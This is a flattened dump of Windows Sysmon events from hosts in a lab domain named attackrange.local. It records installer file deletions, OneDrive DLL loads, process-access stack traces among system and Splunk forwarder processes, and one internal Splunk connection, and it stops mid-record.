AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.Edm.dllMD5=78131030AB1F627955BE3182345BD001,SHA256=E5B0363A26DB4A5C0EDBB8D0EFF0A7B7C071C6C31960832A4332D31FCD170170,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.518{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Bond.Interfaces.dllMD5=52A51EE95888A7BA3A277C02AC07734B,SHA256=AF910124D7E52D5350D4AB125FA661032936C53D7ADAD081D32766F25297A17E,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.518{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Bond.dllMD5=E71099478421938F865EE4AD49B5D4E8,SHA256=41A5C53E2AFAD3E9934582B97229216D614A0AFE520C4ADB765B01E7801BE727,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.518{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Applications.Telemetry.dllMD5=13A81056CEAEDAA4C8A4FBB59AA5D92C,SHA256=5E733EF38D2B71111A91B6BC468F415B59BF2B33157D4F728B8926014405E330,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Applications.Telemetry.Desktop.dllMD5=D5FD6ADB0C22D8D947A9E282EDD89D6D,SHA256=100CF34635E4BCD9C3793E9231736E6FF62715FCEAB32BAFBFF49B48B85AC64A,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\ICSharpCode.SharpZipLib.dllMD5=F2BF7155CDB0F7E7ED3AF446BA588D8E,SHA256=B6BC2CCDD4E72C087B5D9D19E29F5069310EEF5ADE4B42D367960997433F0C05,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\DeltaCompressionDotNet.MsDelta.dllMD5=F6437EBA2912907A6F13CC18E17239F0,SHA256=7C64414EF3A6E73D3CE5761DC964EB27DA68F70F8B0C04AD62DEE0AA9EAF1BEB,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\DeltaCompressionDotNet.dllMD5=3CE9C038499D47BFDFABC197F34E04F8,SHA256=2F2FAEBE394F94EAF7F0FBDC09E43F8370717F5C684B66AB61A7DABB755EF4BF,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\CustomAction.configMD5=4BFDEF8658100D564788F676B4A63864,SHA256=A2E973CCE1F85A2AB9D6E7A90909B17B332C1EF4159FFC57BB3CF688E02BA9EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.502{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\BootstrapperCore.dllMD5=B0D10A2A622A322788780E7A3CBB85F3,SHA256=F2C2B3CE2DF70A3206F3111391FFC7B791B32505FA97AEF22C0C2DBF6F3B0426,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.351{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BADCC3D32C4281AA679FB365F17D3D63,SHA256=6123804ED3EE20EFB55CBBA39586EDC32512775A3143F33D848F90B6539D458E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000013837Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:30.504{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB17B5077B4EDD0B88597BC34B659EE2,SHA256=055DFA26047ACBA6A746B0C7F3B104A297D79EA6159EC747834FF1BF13C19463,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:30.226{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncApi64.dll2021-09-10 14:44:30.226 23542300x800000000000000043073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.023{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C7631F604A497E9307207B269F2D45BB,SHA256=942201277076155CB5E865130CDFC434F2D4108FB184DAEEF96A34A0E939984A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000043072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:30.008{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\RemoteAccess.dll2021-09-10 14:44:30.008 10341000x800000000000000013851Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F4F-613B-9404-00000000F101}1384C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013850Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013849Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013848Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013847Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013846Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013845Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013844Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013843Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013842Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013841Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F4F-613B-9404-00000000F101}1384C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013840Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.707{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F4F-613B-9404-00000000F101}1384C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013839Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.708{625C326B-6F4F-613B-9404-00000000F101}1384C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013838Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:31.645{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DF284E3D50995CC3AC0729EF4F29312,SHA256=831BB415E9CCED5D421D4F13B7E0CADDDEBFDC26E2DF58794CA4B4B0C6070FAD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.940{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=A170275A6928EAF1E93AB4A518E7F0FE,SHA256=953610C4EF3A3F100DCE305ADDFDFDFF5A9ECB67DE94CEF9BEE1019EE6F7B89B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.893{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFDF56931BA5C4FF76.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.877{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFDB1F16149DC55D6E.TMPMD5=8C2D23AAC76DB61AE32E28914D19738C,SHA256=BB5E0BDD51781D89DF35494F44B004D1341FD43FFBC7A760F87DC12F4CCBE078,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000043118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:31.658{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll2021-09-10 14:44:31.658 23542300x800000000000000043117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.424{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI7EB7.tmpMD5=C21784F8468F052978BF7F8412D311EA,SHA256=361283789BB17078382CF9A8540FD9B5A593F1AF8D36C030C61B29134ED85126,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000043116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.752{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59235-false10.0.1.12-8089- 10341000x800000000000000043115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\SHELL32.dll+5344e|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\SHELL32.dll+533b8|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft 